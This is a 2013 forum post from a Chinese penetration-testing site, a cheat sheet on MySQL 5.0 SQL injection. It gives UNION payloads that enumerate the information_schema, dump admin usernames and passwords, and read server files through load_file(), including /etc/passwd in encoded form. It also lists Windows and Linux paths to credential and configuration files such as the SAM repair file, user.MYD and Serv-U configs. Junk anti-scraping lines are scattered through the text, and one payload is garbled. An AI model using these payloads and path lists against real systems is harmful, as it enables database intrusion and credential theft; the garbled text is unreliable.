中国网络渗透测试联盟
标题:
mysql5.0注入原理
[打印本页]
作者:
admin
时间:
2013-3-7 13:24
标题:
mysql5.0注入原理
记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
8 P0 T1 @. |- L- j
/ ^& e8 @1 ^$ Y7 `
' U, o; `! a) u* L: G! s
, h% H0 Z1 x4 `
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其
- U* k- e: a# N; g+ l, b' J
中记录了Mysql中所有
/ o8 g5 ?! R5 ?# w8 s! ^6 h
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
3 O$ x _0 c4 w/ w' W1 Y
明。
7 @2 w& t' V( x
1.得到所有数据库名:
% d6 d0 _% T8 [; n$ b
|SCHEMATA ->存储数据库名的表
& ?$ I4 j' p B" M% m* R+ @7 K( l4 x) s2 W
|—字段:SCHEMA_NAME ->数据库名称
! P" e, m: J. i8 q' v
/ [5 N' v1 J. E' H1 {( i
|TABLES ->存储表名
5 B; l* Q9 u! g# @; N! E
|—字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
8 x- o! s9 W! L+ X; ?
|—字段:TABLE_NAME ->存储表的表名
/ j; a+ l; U- R8 `* t( e( z
& w, v; o! O# l0 s5 J; G
|COLUMNS ->存储的字段名表
5 ]( u% J9 M' U* S9 B% G8 @
|—字段:TABLE_SCHEMA ->该字段所属数据库名
8 S7 I0 t$ P- L& H9 f) E
|—字段:TABLE_NAME ->存储所属表的名称
+ ]) k$ D. _) |
5 q: o3 r* q3 Z
|—字段:COLUMN_NAME ->该字段的名称
5 i/ r6 A- U0 Y1 z/ V9 t9 J
; y- X2 E9 A; D! |: y2 C% H
#########################################################################
: G7 o3 O6 J$ T: K
##
" p# Q% h4 T: F( d o5 o
% S/ v8 l$ p* d2 X
0×001 获取系统信息:
) H! [# c! d; X
+ l- z b& U5 E; Y7 e: p1 b
union select 1,2,3,4,5,concat
2 D2 k$ Q6 f3 E( _8 o$ z
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
4 S6 n$ ]! _3 L& N, ]8 R% ^8 Y
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
' f# S( |8 K# }9 D+ @& d# \
3 u! T7 I8 o9 O! ~( D
/*
; B% h f" r3 m7 `
" O H% n7 f6 a( w( _, R0 ^
@@global.version_compile_os 获取系统版本
0 Z `7 `# e' @6 t, a
8 x9 [# o K) d* | N9 m% \
@@datadir 数据库路径
4 _9 B: l2 L5 W# F1 t, c
database() 当前数据库名称
/ I2 N: d( _0 g k4 g0 u* h
0x3c62723e 换行HEX值
0 W! o: ?6 r/ @4 p: D0 M
# M4 U; {; p: d9 }
*/
/ m* D1 L x) S8 O
8 V( G* R [- L
######################################################################
4 i2 K0 Z/ Y; J, F: w
3 [& K& W# w' C/ u/ K- q# T
0×002 获取表名
; u4 Y0 m* {2 E
& U7 s- }1 L: f& v! j+ f+ T' a
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
) N+ T- u% M3 A) a i5 w# |, E
information_schema.tables where table_schema=0x67617264656e /*
6 q& V1 J5 }, C1 K4 U
7 A! O; p% R/ G# V+ |
/*
2 C- R: K6 d4 r2 b6 K" X
/ k. @ \! v+ m/ r
0x67617264656e 为当前数据库名
# ]( U& N/ Z. \3 x+ e. u" T
6 O2 |7 a/ p3 S6 ]
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
. v( [2 u# A0 T7 W$ `+ q# I
* G2 a5 V% q$ r! X' P
*/
$ _* b0 b' n# w2 a6 v/ G
" |! Y; u: h! `% X: ^+ p
######################################################################
0 C5 w8 d: b8 f' h! n! t. C% J# T* Z
/ z& Z* g+ L/ k$ G' ?
0×003 获取字段
- T9 E- a( T/ Q Q5 |$ _& d5 A1 ^
6 C+ i3 w7 B$ ]: q
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
4 d: x; \' I: I) [ `
information_schema.columns where table_name=0x61646d696e and
" _7 ?: |2 O; Y8 y2 U
( k. D3 ?6 k% p5 p" Y( U/ p) g
2 G0 M! ^& A8 s- [- B
table_schema=0x67617264656e limit 1 /*
6 `- F6 {- R* {7 }0 |4 G; g ^
4 c0 R' j/ K2 o, E( |0 B
/*
( |0 j/ ^$ L' v( a
% B1 d# @4 c: B9 w3 ]/ {8 P
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
+ T7 ~1 ?, d! k5 x$ ^+ G* a" \
) C% t/ M; o8 r
0x61646d696e ->选择一个表
: n' q A! F) I: h- B4 a5 [
7 Q- s, k% a1 I6 m, T
0x67617264656e ->数据库名
( i* r, G9 }0 n6 {6 ?
, Z+ k: m) [ n6 q t+ R+ f9 {
*/
' o. c% }, l: y1 R+ x5 \
( L/ a, S5 i- \: k4 }! P! f z# q
#####################################################################
& D# E9 C! O, m3 E1 H$ J) m! ^7 H
* Z) R0 ?4 S; k& x7 D% E
0×004 获取数据
# e. c& c( P& t% D, \( r3 @
+ x! ]7 T( `) ~- r
union select 1,2,3
8 N/ {1 t% z C( l0 E E: k T
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
$ p# F8 }$ X6 \, ~1 E2 A
8 v+ ?+ k$ q V+ L5 ]/ E" T
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
4 r: T5 [0 \# o/ N0 r4 B
(adpassword),6,7,8 from admin
2 B0 o/ ]8 J3 j& A( i
. Z8 {" }+ L! ?: w- b
/*
& N$ _; q) s! ?% D- i0 Q
- q. J# b2 {! u4 o
0x3c62723e 换行符号HEX编码
# T; Q% N: \# G2 `# n
' v2 |6 [+ K2 R
group_concat 同时获得该字段所有数据
3 D j5 w* G" I( o2 A
) w h" r$ p7 a
*/
: s. q! g) i" y+ }& t
, ?$ ~; _* `" Y. [! R$ J
! O2 K/ k& L8 e" _+ d' y# s
' G, V+ I4 Z/ p3 ^; n9 H8 F
, b# o# V& ]; Y2 ?7 m
2 D# g w: |% `$ \- W
顺便添加一些mysql注入时非常有用的一些东西
! U! X4 q* ?- @7 i/ _
2 Z2 Z& y0 `5 J9 O: G& S9 R
简单介绍Mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(Root为最高,相当于MSSQL中的SA)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
; E9 C6 U/ n% e% h
7 {7 S$ |7 V, R" E, L
1:system_user() 系统用户名
) i( ]) q& n" o( o8 X+ _, q
2:user() 用户名
$ n( Q3 ~ |& w5 o
3:current_user() 当前用户名
. u7 Y* A8 E0 }& j
4:session_user()连接数据库的用户名
! F5 d2 H/ B+ q Z4 R( ]" O
5:database() 数据库名
0 f' }" |3 [5 Q+ ?/ S; D; P7 ^% o# J
6:version() MYSQL数据库版本
/ d) J4 d. r8 ]" T
7:load_file() MYSQL读取本地文件的函数
) v/ s; g) G* t; D; e+ F9 A
8
@datadir 读取数据库路径
+ O4 b- u& M' [) t9 P# w+ N, v
9
@basedir MYSQL 安装路径
2 c1 N" q- c0 `. m9 W
10
@version_compile_os 操作系统 Windows Server 2003,
7 V7 l, y; u$ x6 U' F
收集的一些路径:
; u# _' ~' w; `5 b6 A# O
WINDOWS下:
# T! B( ~. p: y7 n9 {
c:/boot.ini //查看系统版本
4 o' [0 h) F0 c) s' n
c:/windows/php.ini //php配置信息
$ l4 a7 G) d+ H5 ]6 x' R
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
" w6 ~! @( X0 U/ w4 J5 [7 s
c:/winnt/php.ini
* _1 R- q* f& @$ \: v
c:/winnt/my.ini
0 B# L3 y; M& [" B
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
* u. U N' a% ~# s) z! p. R
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
?5 C" H4 U% P4 A
c:\Program Files\Serv-U\ServUDaemon.ini
% n) j: \7 T4 T, J. t+ I" ]
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
7 c2 f/ B% J) I1 [8 H# a+ f
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
$ p( J! t% M& M# ~! h; N1 {, l
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
3 h0 u; `2 H. H4 V% Y' [. E
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
6 s5 p/ K& ?; q
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
* S; G3 Z1 @7 z4 t
//存储了pcAnywhere的登陆密码
9 V' c+ o; S( `3 B# W) Z
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看 WINDOWS系统apache文件
$ d4 X6 @- I! D+ O2 @! _
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
* @# S) r' G- Z; T8 H* M' V
" O- j) }6 R* z8 R# [/ R
0 v: I, V7 K! e. J' J
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
$ c( s& T0 `3 L' m; s5 W: u
d:\APACHE\Apache2\conf\httpd.conf
# K7 w2 r: L3 b$ U1 [5 A0 l
C:\Program Files\mysql\my.ini
! t4 @0 U, O' \' Z8 x6 J/ M5 _
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
# z1 S/ W8 X9 g2 l0 p
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
# j1 y8 P7 L$ Q
- E1 [" J5 K6 X7 I3 x$ ?
LUNIX/UNIX下:
7 L- I) q5 K5 c9 _: F
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
1 C i$ u1 W$ { ]& T
/usr/local/apache2/conf/httpd.conf
# K0 i/ q" P3 K! F1 {. t0 V
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
1 V* M5 P# m$ X2 [& ^4 G. D# m
/usr/local/app/php5/lib/php.ini //PHP相关设置
8 f9 |9 d8 S) X
/etc/sysconfig/iptables //从中得到防火墙规则策略
! I ~( G' e; |' B& z% r# c8 C) [
/etc/httpd/conf/httpd.conf // apache配置文件
8 F! _+ V* Q e& d
/etc/rsyncd.conf //同步程序配置文件
5 u, p0 }$ O: S% Z
/etc/my.cnf //mysql的配置文件
9 S) |$ \( y$ I3 y. m( ]
/etc/redhat-release //系统版本
5 y; U. G( k2 F3 V6 I& I/ V
/etc/issue
9 u8 ?' i$ o+ v4 i r( F/ r1 }
/etc/issue.net
" Z2 C4 I9 d. O% H( H
/usr/local/app/php5/lib/php.ini //PHP相关设置
3 e% g6 R4 ^9 [7 r& v
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
& K% C1 b4 c8 D$ g
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
4 i( ?- d, i( u8 D# h: k+ c3 j
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
( A9 L0 y/ H; g u( x P
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
' c2 G1 G8 p4 |, ^
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
7 Q' m! g8 r2 j# k
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
' |, g i$ e+ O; m# p
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
& q+ |1 ]5 N7 p* Z- i: m4 W* I( f
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
$ {* B6 u* t' J# J! l; }' G7 e* k
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
' y! j9 H1 P3 I* r: r
/etc/sysconfig/iptables 查看防火墙策略
' G0 I9 O# C; O% q6 H
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
; E% X2 R; b6 j& B9 T' @
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
& l) Q, |* i8 ~' _) M1 C5 ^
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
3 i) b- ^% ?- `$ g# ]& M8 O
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
# w" H) n/ k( b0 K
0 v4 n% F" U! ]8 V+ f
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2